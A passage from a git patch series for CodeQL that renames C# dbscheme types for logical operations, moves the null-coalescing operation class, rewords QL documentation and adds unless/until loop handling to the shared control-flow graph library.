bitwise-and operation, either `x & y` or `x &= y`. - */ -class BitwiseAndOperation extends BinaryBitwiseOperation, @and_operation { } - -/** - * A bitwise-or operation, either `x | y` or `x |= y`. - */ -class BitwiseOrOperation extends BinaryBitwiseOperation, @or_operation { } - -/** - * A bitwise exclusive-or operation, either `x ^ y` or `x ^= y`. - */ -class BitwiseXorOperation extends BinaryBitwiseOperation, @xor_operation { } - -/** - * A left-shift operation, either `x << y` or `x <<= y`. - */ -class LeftShiftOperation extends BinaryBitwiseOperation, @lshift_operation { } - -/** - * A right-shift operation, either `x >> y` or `x >>= y`. - */ -class RightShiftOperation extends BinaryBitwiseOperation, @rshift_operation { } - -/** - * An unsigned right-shift operation, either `x >>> y` or `x >>>= y`. - */ -class UnsignedRightShiftOperation extends BinaryBitwiseOperation, @urshift_operation { } - /** * A null-coalescing operation, either `x ?? y` or `x ??= y`. */ From 9465a1d063acf47c290b2cff37f56e74b831aaf0 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Fri, 29 May 2026 15:08:25 +0200 Subject: [PATCH 100/143] C#: Update DB scheme for logical assignments and expressions (and some other minor changes). --- csharp/ql/lib/semmlecode.csharp.dbscheme | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/csharp/ql/lib/semmlecode.csharp.dbscheme b/csharp/ql/lib/semmlecode.csharp.dbscheme index 7c7ae63df2e..d13c4c187d7 100644 --- a/csharp/ql/lib/semmlecode.csharp.dbscheme +++ b/csharp/ql/lib/semmlecode.csharp.dbscheme @@ -1263,10 +1263,10 @@ case @expr.kind of @un_arith_operation = @plus_expr | @minus_expr | @mut_operation; @arith_operation = @bin_arith_operation | @un_arith_operation; -@ternary_log_op_expr = @conditional_expr; -@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; -@un_log_op_expr = @log_not_expr; -@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; +@ternary_log_operation = @conditional_expr; +@bin_log_operation = @log_and_expr | @log_or_expr | @null_coalescing_operation; +@un_log_operation = @log_not_expr; +@log_operation = @un_log_operation | @bin_log_operation | @ternary_log_operation; @bin_bit_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr | @rshift_expr | @urshift_expr; @@ -1281,11 +1281,11 @@ case @expr.kind of @rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; @comp_expr = @equality_op_expr | @rel_op_expr; -@operation_expr = @un_operation | @bin_operation | @ternary_op; +@operation_expr = @un_operation | @bin_operation | @ternary_operation; -@ternary_op = @ternary_log_op_expr; -@bin_operation = @assign_expr | @bin_arith_operation | @bin_log_op_expr | @bin_bit_operation | @comp_expr; -@un_operation = @un_arith_operation | @un_log_op_expr | @un_bit_operation | @sizeof_expr +@ternary_operation = @ternary_log_operation; +@bin_operation = @assign_expr | @bin_arith_operation | @bin_log_operation | @bin_bit_operation | @comp_expr; +@un_operation = @un_arith_operation | @un_log_operation | @un_bit_operation | @sizeof_expr | @pointer_indirection_expr | @address_of_expr; @anonymous_function_expr = @lambda_expr | @anonymous_method_expr; From 3c407f77a9e9ab57fb4c85c283c8eef74dea5f58 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Fri, 29 May 2026 15:09:54 +0200 Subject: [PATCH 101/143] C#: Update the QL library implementation for logical operations. --- .../lib/semmle/code/csharp/exprs/Assignment.qll | 2 +- csharp/ql/lib/semmle/code/csharp/exprs/Expr.qll | 2 +- .../code/csharp/exprs/LogicalOperation.qll | 16 +++++++--------- .../lib/semmle/code/csharp/exprs/Operation.qll | 2 +- 4 files changed, 10 insertions(+), 12 deletions(-) diff --git a/csharp/ql/lib/semmle/code/csharp/exprs/Assignment.qll b/csharp/ql/lib/semmle/code/csharp/exprs/Assignment.qll index cafe39fb403..1bd81e2ac93 100644 --- a/csharp/ql/lib/semmle/code/csharp/exprs/Assignment.qll +++ b/csharp/ql/lib/semmle/code/csharp/exprs/Assignment.qll @@ -313,7 +313,7 @@ class RemoveEventExpr extends AddOrRemoveEventExpr, @remove_event_expr { * A null-coalescing assignment expression, for example `x ??= y`. */ class AssignCoalesceExpr extends AssignOperation, NullCoalescingOperation, @assign_coalesce_expr { - override string toString() { result = "... ??= ..." } + override string getOperator() { result = "??=" } override string getAPrimaryQlClass() { result = "AssignCoalesceExpr" } } diff --git a/csharp/ql/lib/semmle/code/csharp/exprs/Expr.qll b/csharp/ql/lib/semmle/code/csharp/exprs/Expr.qll index 458ba7dbc0b..7f75a0bd31f 100644 --- a/csharp/ql/lib/semmle/code/csharp/exprs/Expr.qll +++ b/csharp/ql/lib/semmle/code/csharp/exprs/Expr.qll @@ -264,7 +264,7 @@ class BinaryOperation extends Operation, @bin_operation { * A ternary operation, that is, a ternary conditional operation * (`ConditionalExpr`). */ -class TernaryOperation extends Operation, @ternary_op { } +class TernaryOperation extends Operation, @ternary_operation { } /** * A parenthesized expression, for example `(2 + 3)` in diff --git a/csharp/ql/lib/semmle/code/csharp/exprs/LogicalOperation.qll b/csharp/ql/lib/semmle/code/csharp/exprs/LogicalOperation.qll index 4161f734c9b..63235281130 100644 --- a/csharp/ql/lib/semmle/code/csharp/exprs/LogicalOperation.qll +++ b/csharp/ql/lib/semmle/code/csharp/exprs/LogicalOperation.qll @@ -11,14 +11,14 @@ import Expr * a binary logical operation (`BinaryLogicalOperation`), or a ternary logical * operation (`TernaryLogicalOperation`). */ -class LogicalOperation extends Operation, @log_expr { +class LogicalOperation extends Operation, @log_operation { override string getOperator() { none() } } /** * A unary logical operation, that is, a logical 'not' (`LogicalNotExpr`). */ -class UnaryLogicalOperation extends LogicalOperation, UnaryOperation, @un_log_op_expr { } +class UnaryLogicalOperation extends LogicalOperation, UnaryOperation, @un_log_operation { } /** * A logical 'not', for example `!String.IsNullOrEmpty(s)`. @@ -32,9 +32,9 @@ class LogicalNotExpr extends UnaryLogicalOperation, @log_not_expr { /** * A binary logical operation. Either a logical 'and' (`LogicalAndExpr`), * a logical 'or' (`LogicalAndExpr`), or a null-coalescing operation - * (`NullCoalescingExpr`). + * (`NullCoalescingOperation`). */ -class BinaryLogicalOperation extends LogicalOperation, BinaryOperation, @bin_log_op_expr { +class BinaryLogicalOperation extends LogicalOperation, BinaryOperation, @bin_log_operation { override string getOperator() { none() } } @@ -57,7 +57,7 @@ class LogicalOrExpr extends BinaryLogicalOperation, @log_or_expr { } /** - * A null-coalescing operation, for example `s ?? ""` on line 2 in + * A null-coalescing expression, for example `s ?? ""` on line 2 in * * ```csharp * string NonNullOrEmpty(string s) { @@ -65,9 +65,7 @@ class LogicalOrExpr extends BinaryLogicalOperation, @log_or_expr { * } * ``` */ -class NullCoalescingExpr extends BinaryLogicalOperation, NullCoalescingOperation, - @null_coalescing_expr -{ +class NullCoalescingExpr extends NullCoalescingOperation, @null_coalescing_expr { override string getOperator() { result = "??" } override string getAPrimaryQlClass() { result = "NullCoalescingExpr" } @@ -77,7 +75,7 @@ class NullCoalescingExpr extends BinaryLogicalOperation, NullCoalescingOperation * A ternary logical operation, that is, a ternary conditional expression * (`ConditionalExpr`). */ -class TernaryLogicalOperation extends LogicalOperation, TernaryOperation, @ternary_log_op_expr { } +class TernaryLogicalOperation extends LogicalOperation, TernaryOperation, @ternary_log_operation { } /** * A conditional expression, for example `s != null ? s.Length : -1` diff --git a/csharp/ql/lib/semmle/code/csharp/exprs/Operation.qll b/csharp/ql/lib/semmle/code/csharp/exprs/Operation.qll index eb1a2bea9a5..43ad205b88c 100644 --- a/csharp/ql/lib/semmle/code/csharp/exprs/Operation.qll +++ b/csharp/ql/lib/semmle/code/csharp/exprs/Operation.qll @@ -7,4 +7,4 @@ import Expr /** * A null-coalescing operation, either `x ?? y` or `x ??= y`. */ -class NullCoalescingOperation extends BinaryOperation, @null_coalescing_operation { } +class NullCoalescingOperation extends BinaryLogicalOperation, @null_coalescing_operation { } From fb9e4a8c40158fb8142eb51fcc686a30c71f9b25 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Fri, 29 May 2026 15:11:34 +0200 Subject: [PATCH 102/143] C#: Move logical operation class from Operation.qll to LogicalOperation.qll. --- csharp/ql/lib/semmle/code/csharp/exprs/LogicalOperation.qll | 5 +++++ csharp/ql/lib/semmle/code/csharp/exprs/Operation.qll | 5 ----- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/csharp/ql/lib/semmle/code/csharp/exprs/LogicalOperation.qll b/csharp/ql/lib/semmle/code/csharp/exprs/LogicalOperation.qll index 63235281130..d16dd0446ae 100644 --- a/csharp/ql/lib/semmle/code/csharp/exprs/LogicalOperation.qll +++ b/csharp/ql/lib/semmle/code/csharp/exprs/LogicalOperation.qll @@ -56,6 +56,11 @@ class LogicalOrExpr extends BinaryLogicalOperation, @log_or_expr { override string getAPrimaryQlClass() { result = "LogicalOrExpr" } } +/** + * A null-coalescing operation, either `x ?? y` or `x ??= y`. + */ +class NullCoalescingOperation extends BinaryLogicalOperation, @null_coalescing_operation { } + /** * A null-coalescing expression, for example `s ?? ""` on line 2 in * diff --git a/csharp/ql/lib/semmle/code/csharp/exprs/Operation.qll b/csharp/ql/lib/semmle/code/csharp/exprs/Operation.qll index 43ad205b88c..9e43afc856c 100644 --- a/csharp/ql/lib/semmle/code/csharp/exprs/Operation.qll +++ b/csharp/ql/lib/semmle/code/csharp/exprs/Operation.qll @@ -3,8 +3,3 @@ */ import Expr - -/** - * A null-coalescing operation, either `x ?? y` or `x ??= y`. - */ -class NullCoalescingOperation extends BinaryLogicalOperation, @null_coalescing_operation { } From f0640d78d2eeb2b9f5e6e13b19a06466d61d391f Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Fri, 29 May 2026 15:16:20 +0200 Subject: [PATCH 103/143] C#: Deprecate the operation module. --- csharp/ql/lib/semmle/code/csharp/exprs/Expr.qll | 1 - csharp/ql/lib/semmle/code/csharp/exprs/Operation.qll | 1 + 2 files changed, 1 insertion(+), 1 deletion(-) diff --git a/csharp/ql/lib/semmle/code/csharp/exprs/Expr.qll b/csharp/ql/lib/semmle/code/csharp/exprs/Expr.qll index 7f75a0bd31f..857212f90aa 100644 --- a/csharp/ql/lib/semmle/code/csharp/exprs/Expr.qll +++ b/csharp/ql/lib/semmle/code/csharp/exprs/Expr.qll @@ -14,7 +14,6 @@ import Creation import Dynamic import Literal import LogicalOperation -import Operation import semmle.code.csharp.controlflow.ControlFlowElement import semmle.code.csharp.Location import semmle.code.csharp.Stmt diff --git a/csharp/ql/lib/semmle/code/csharp/exprs/Operation.qll b/csharp/ql/lib/semmle/code/csharp/exprs/Operation.qll index 9e43afc856c..19de7f20ee3 100644 --- a/csharp/ql/lib/semmle/code/csharp/exprs/Operation.qll +++ b/csharp/ql/lib/semmle/code/csharp/exprs/Operation.qll @@ -1,5 +1,6 @@ /** * Provides classes for operations that also have compound assignment forms. */ +deprecated module; import Expr From 8d46bfcbd4ca6f7e50f527b5c8b3cc4e78a25032 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Thu, 4 Jun 2026 13:40:37 +0200 Subject: [PATCH 104/143] C#: Update some of the QL docs. --- .../code/csharp/exprs/ArithmeticOperation.qll | 34 +++++++++---------- 1 file changed, 17 insertions(+), 17 deletions(-) diff --git a/csharp/ql/lib/semmle/code/csharp/exprs/ArithmeticOperation.qll b/csharp/ql/lib/semmle/code/csharp/exprs/ArithmeticOperation.qll index 45e9dc61cd0..2b909ac1b99 100644 --- a/csharp/ql/lib/semmle/code/csharp/exprs/ArithmeticOperation.qll +++ b/csharp/ql/lib/semmle/code/csharp/exprs/ArithmeticOperation.qll @@ -24,14 +24,14 @@ class BinaryArithmeticOperation extends ArithmeticOperation, BinaryOperation, @b } /** - * A unary arithmetic operation. Either a unary minus operation - * (`UnaryMinusExpr`), a unary plus operation (`UnaryPlusExpr`), + * A unary arithmetic operation. Either a unary minus expression + * (`UnaryMinusExpr`), a unary plus expression (`UnaryPlusExpr`), * or a mutator operation (`MutatorOperation`). */ class UnaryArithmeticOperation extends ArithmeticOperation, UnaryOperation, @un_arith_operation { } /** - * A unary minus operation, for example `-x`. + * A unary minus expression, for example `-x`. */ class UnaryMinusExpr extends UnaryArithmeticOperation, @minus_expr { override string getOperator() { result = "-" } @@ -40,7 +40,7 @@ class UnaryMinusExpr extends UnaryArithmeticOperation, @minus_expr { } /** - * A unary plus operation, for example `+x`. + * A unary plus expression, for example `+x`. */ class UnaryPlusExpr extends UnaryArithmeticOperation, @plus_expr { override string getOperator() { result = "+" } @@ -55,37 +55,37 @@ class UnaryPlusExpr extends UnaryArithmeticOperation, @plus_expr { class MutatorOperation extends UnaryArithmeticOperation, @mut_operation { } /** - * An increment operation. Either a postfix increment operation - * (`PostIncrExpr`) or a prefix increment operation (`PreIncrExpr`). + * An increment operation. Either a postfix increment expression + * (`PostIncrExpr`) or a prefix increment expression (`PreIncrExpr`). */ class IncrementOperation extends MutatorOperation, @incr_operation { override string getOperator() { result = "++" } } /** - * A decrement operation. Either a postfix decrement operation - * (`PostDecrExpr`) or a prefix decrement operation (`PreDecrExpr`). + * A decrement operation. Either a postfix decrement expression + * (`PostDecrExpr`) or a prefix decrement expression (`PreDecrExpr`). */ class DecrementOperation extends MutatorOperation, @decr_operation { override string getOperator() { result = "--" } } /** - * A prefix increment operation, for example `++x`. + * A prefix increment expression, for example `++x`. */ class PreIncrExpr extends IncrementOperation, @pre_incr_expr { override string getAPrimaryQlClass() { result = "PreIncrExpr" } } /** - * A prefix decrement operation, for example `--x`. + * A prefix decrement expression, for example `--x`. */ class PreDecrExpr extends DecrementOperation, @pre_decr_expr { override string getAPrimaryQlClass() { result = "PreDecrExpr" } } /** - * A postfix increment operation, for example `x++`. + * A postfix increment expression, for example `x++`. */ class PostIncrExpr extends IncrementOperation, @post_incr_expr { override string toString() { result = "..." + this.getOperator() } @@ -94,7 +94,7 @@ class PostIncrExpr extends IncrementOperation, @post_incr_expr { } /** - * A postfix decrement operation, for example `x--`. + * A postfix decrement expression, for example `x--`. */ class PostDecrExpr extends DecrementOperation, @post_decr_expr { override string toString() { result = "..." + this.getOperator() } @@ -142,7 +142,7 @@ class RemOperation extends BinaryArithmeticOperation, @rem_operation { } class BinaryArithmeticExpr extends BinaryArithmeticOperation, @bin_arith_expr { } /** - * An addition operation, for example `x + y`. + * An addition expression, for example `x + y`. */ class AddExpr extends BinaryArithmeticExpr, AddOperation, @add_expr { override string getOperator() { result = "+" } @@ -151,7 +151,7 @@ class AddExpr extends BinaryArithmeticExpr, AddOperation, @add_expr { } /** - * A subtraction operation, for example `x - y`. + * A subtraction expression, for example `x - y`. */ class SubExpr extends BinaryArithmeticExpr, SubOperation, @sub_expr { override string getOperator() { result = "-" } @@ -160,7 +160,7 @@ class SubExpr extends BinaryArithmeticExpr, SubOperation, @sub_expr { } /** - * A multiplication operation, for example `x * y`. + * A multiplication expression, for example `x * y`. */ class MulExpr extends BinaryArithmeticExpr, MulOperation, @mul_expr { override string getOperator() { result = "*" } @@ -169,7 +169,7 @@ class MulExpr extends BinaryArithmeticExpr, MulOperation, @mul_expr { } /** - * A division operation, for example `x / y`. + * A division expression, for example `x / y`. */ class DivExpr extends BinaryArithmeticExpr, DivOperation, @div_expr { override string getOperator() { result = "/" } @@ -178,7 +178,7 @@ class DivExpr extends BinaryArithmeticExpr, DivOperation, @div_expr { } /** - * A remainder operation, for example `x % y`. + * A remainder expression, for example `x % y`. */ class RemExpr extends BinaryArithmeticExpr, RemOperation, @rem_expr { override string getOperator() { result = "%" } From fe8c029ac7241dd585d5d1c91518edf877a24018 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Fri, 12 Jun 2026 13:50:41 +0200 Subject: [PATCH 105/143] Cfg: Add support for unless-statements. --- shared/controlflow/codeql/controlflow/ControlFlowGraph.qll | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/shared/controlflow/codeql/controlflow/ControlFlowGraph.qll b/shared/controlflow/codeql/controlflow/ControlFlowGraph.qll index 81b1d1a2e00..8f71cc2af38 100644 --- a/shared/controlflow/codeql/controlflow/ControlFlowGraph.qll +++ b/shared/controlflow/codeql/controlflow/ControlFlowGraph.qll @@ -1513,7 +1513,12 @@ module Make0 Ast> { n2.isBefore(ifstmt.getCondition()) or n1.isAfterTrue(ifstmt.getCondition()) and - n2.isBefore(ifstmt.getThen()) + ( + n2.isBefore(ifstmt.getThen()) + or + not exists(ifstmt.getThen()) and + n2.isAfter(ifstmt) + ) or n1.isAfterFalse(ifstmt.getCondition()) and ( From ff61344afa2d7fff0a11f297bf269e4e00c8512d Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Fri, 12 Jun 2026 13:55:05 +0200 Subject: [PATCH 106/143] Cfg: Add support for until-statements. --- .../controlflow/internal/ControlFlowGraph.qll | 4 +++ .../lib/semmle/code/java/ControlFlowGraph.qll | 4 +++ .../codeql/controlflow/ControlFlowGraph.qll | 25 +++++++++++++------ 3 files changed, 26 insertions(+), 7 deletions(-) diff --git a/csharp/ql/lib/semmle/code/csharp/controlflow/internal/ControlFlowGraph.qll b/csharp/ql/lib/semmle/code/csharp/controlflow/internal/ControlFlowGraph.qll index 7e87fa32568..18a967eee28 100644 --- a/csharp/ql/lib/semmle/code/csharp/controlflow/internal/ControlFlowGraph.qll +++ b/csharp/ql/lib/semmle/code/csharp/controlflow/internal/ControlFlowGraph.qll @@ -172,6 +172,10 @@ module Ast implements AstSig { class DoStmt = CS::DoStmt; + class UntilStmt extends LoopStmt { + UntilStmt() { none() } + } + final private class FinalForStmt = CS::ForStmt; class ForStmt extends FinalForStmt { diff --git a/java/ql/lib/semmle/code/java/ControlFlowGraph.qll b/java/ql/lib/semmle/code/java/ControlFlowGraph.qll index d2d13a79d35..51f3046e1bf 100644 --- a/java/ql/lib/semmle/code/java/ControlFlowGraph.qll +++ b/java/ql/lib/semmle/code/java/ControlFlowGraph.qll @@ -84,6 +84,10 @@ private module Ast implements AstSig { class DoStmt = J::DoStmt; + class UntilStmt extends LoopStmt { + UntilStmt() { none() } + } + final private class FinalForStmt = J::ForStmt; class ForStmt extends FinalForStmt { diff --git a/shared/controlflow/codeql/controlflow/ControlFlowGraph.qll b/shared/controlflow/codeql/controlflow/ControlFlowGraph.qll index 8f71cc2af38..522a416c768 100644 --- a/shared/controlflow/codeql/controlflow/ControlFlowGraph.qll +++ b/shared/controlflow/codeql/controlflow/ControlFlowGraph.qll @@ -119,6 +119,12 @@ signature module AstSig { Expr getCondition(); } + /** An `until` loop statement. */ + class UntilStmt extends LoopStmt { + /** Gets the boolean condition of this `until` loop. */ + Expr getCondition(); + } + /** A traditional C-style `for` loop. */ class ForStmt extends LoopStmt { /** Gets the initializer of the loop at the specified (zero-based) position, if any. */ @@ -608,6 +614,7 @@ module Make0 Ast> { any(IfStmt ifstmt).getCondition() = n or any(WhileStmt whilestmt).getCondition() = n or any(DoStmt dostmt).getCondition() = n or + any(UntilStmt untilstmt).getCondition() = n or any(ForStmt forstmt).getCondition() = n or any(ConditionalExpr condexpr).getCondition() = n or any(CatchClause catch).getCondition() = n or @@ -1535,9 +1542,9 @@ module Make0 Ast> { n2.isAfter(ifstmt) ) or - exists(WhileStmt whilestmt | - n1.isBefore(whilestmt) and - n2.isAdditional(whilestmt, loopHeaderTag()) + exists(LoopStmt loopstmt | loopstmt instanceof WhileStmt or loopstmt instanceof UntilStmt | + n1.isBefore(loopstmt) and + n2.isAdditional(loopstmt, loopHeaderTag()) ) or exists(DoStmt dostmt | @@ -1545,16 +1552,20 @@ module Make0 Ast> { n2.isBefore(dostmt.getBody()) ) or - exists(LoopStmt loopstmt, AstNode cond | - loopstmt.(WhileStmt).getCondition() = cond or loopstmt.(DoStmt).getCondition() = cond + exists(LoopStmt loopstmt, AstNode cond, boolean while | + loopstmt.(WhileStmt).getCondition() = cond and while = true + or + loopstmt.(DoStmt).getCondition() = cond and while = true + or + loopstmt.(UntilStmt).getCondition() = cond and while = false | n1.isAdditional(loopstmt, loopHeaderTag()) and n2.isBefore(cond) or - n1.isAfterTrue(cond) and + n1.isAfterValue(cond, any(BooleanSuccessor b | b.getValue() = while)) and n2.isBefore(loopstmt.getBody()) or - n1.isAfterFalse(cond) and + n1.isAfterValue(cond, any(BooleanSuccessor b | b.getValue() = while.booleanNot())) and n2.isAfter(loopstmt) or n1.isAfter(loopstmt.getBody()) and From 9f0feb467a5cd7a9f3d802351cc03e8aa6a701e7 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Fri, 12 Jun 2026 15:26:16 +0200 Subject: [PATCH 107/143] C#: Add upgrade/downgrade scripts. --- .../old.dbscheme | 1511 +++++++++++++++++ .../semmlecode.csharp.dbscheme | 1505 ++++++++++++++++ .../upgrade.properties | 2 + .../old.dbscheme | 1505 ++++++++++++++++ .../semmlecode.csharp.dbscheme | 1511 +++++++++++++++++ .../upgrade.properties | 2 + 6 files changed, 6036 insertions(+) create mode 100644 csharp/downgrades/d13c4c187d7318fd2b8f35c7e8d7f4dc26be68b1/old.dbscheme create mode 100644 csharp/downgrades/d13c4c187d7318fd2b8f35c7e8d7f4dc26be68b1/semmlecode.csharp.dbscheme create mode 100644 csharp/downgrades/d13c4c187d7318fd2b8f35c7e8d7f4dc26be68b1/upgrade.properties create mode 100644 csharp/ql/lib/upgrades/3cabc77473cbbda95edebafea345c2e3fdfa12d9/old.dbscheme create mode 100644 csharp/ql/lib/upgrades/3cabc77473cbbda95edebafea345c2e3fdfa12d9/semmlecode.csharp.dbscheme create mode 100644 csharp/ql/lib/upgrades/3cabc77473cbbda95edebafea345c2e3fdfa12d9/upgrade.properties diff --git a/csharp/downgrades/d13c4c187d7318fd2b8f35c7e8d7f4dc26be68b1/old.dbscheme b/csharp/downgrades/d13c4c187d7318fd2b8f35c7e8d7f4dc26be68b1/old.dbscheme new file mode 100644 index 00000000000..d13c4c187d7 --- /dev/null +++ b/csharp/downgrades/d13c4c187d7318fd2b8f35c7e8d7f4dc26be68b1/old.dbscheme @@ -0,0 +1,1511 @@ +/* This is a dummy line to alter the dbscheme, so we can make a database upgrade + * without actually changing any of the dbscheme predicates. It contains a date + * to allow for such updates in the future as well. + * + * 2021-07-14 + * + * DO NOT remove this comment carelessly, since it can revert the dbscheme back to a + * previously seen state (matching a previously seen SHA), which would make the upgrade + * mechanism not work properly. + */ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +compilation_info( + int id : @compilation ref, + string info_key: string ref, + string info_value: string ref +) + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | f1.cs + * 3 | f2.cs + * 4 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The expanded arguments that were passed to the extractor for a + * compiler invocation. This is similar to `compilation_args`, but + * for a `@someFile.rsp` argument, it includes the arguments from that + * file, rather than just taking the argument literally. + */ +#keyset[id, num] +compilation_expanded_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +compilation_assembly( + unique int id : @compilation ref, + int assembly: @assembly ref +) + +// Populated by the CSV extractor +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * Overlay support + */ + +/** + * The CLI will automatically emit the tuple `databaseMetadata("isOverlay", "true")`, + * along with an `overlayChangedFiles` tuple for each new/modified/deleted file, + * when building an overlay database, and these can be used by the discard predicates. + */ +databaseMetadata( + string metadataKey : string ref, + string value : string ref +); + +overlayChangedFiles( + string path : string ref +); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @externalDataElement + | @xmllocatable | @asp_element | @namespace | @preprocessor_directive; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function | @lambda_expr; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +@locatable = @declaration_with_accessors | @callable_accessor | @declaration_or_directive + | @diagnostic | @extractor_message | @preprocessor_directive | @attribute | @type_mention | @type_parameter_constraints + | @declaration_with_accessors | @callable_accessor | @operator | @method + | @constructor | @destructor | @field | @local_variable | @parameter | @stmt | @expr + | @xmllocatable | @commentline | @commentblock | @asp_element + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +locations_mapped( + unique int id: @location_default ref, + int mapped_to: @location_default ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +files( + unique int id: @file, + string name: string ref); + +folders( + unique int id: @folder, + string name: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_global( + unique int id: @using_directive ref +); + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +@preprocessor_directive = @pragma_warning | @pragma_checksum | @directive_define | @directive_undefine | @directive_warning + | @directive_error | @directive_nullable | @directive_line | @directive_region | @directive_endregion | @directive_if + | @directive_elif | @directive_else | @directive_endif; + +@conditional_directive = @directive_if | @directive_elif; +@branch_directive = @directive_if | @directive_elif | @directive_else; + +directive_ifs( + unique int id: @directive_if, + int branchTaken: int ref, /* 0: false, 1: true */ + int conditionValue: int ref); /* 0: false, 1: true */ + +directive_elifs( + unique int id: @directive_elif, + int branchTaken: int ref, /* 0: false, 1: true */ + int conditionValue: int ref, /* 0: false, 1: true */ + int parent: @directive_if ref, + int index: int ref); + +directive_elses( + unique int id: @directive_else, + int branchTaken: int ref, /* 0: false, 1: true */ + int parent: @directive_if ref, + int index: int ref); + +#keyset[id, start] +directive_endifs( + unique int id: @directive_endif, + unique int start: @directive_if ref); + +directive_define_symbols( + unique int id: 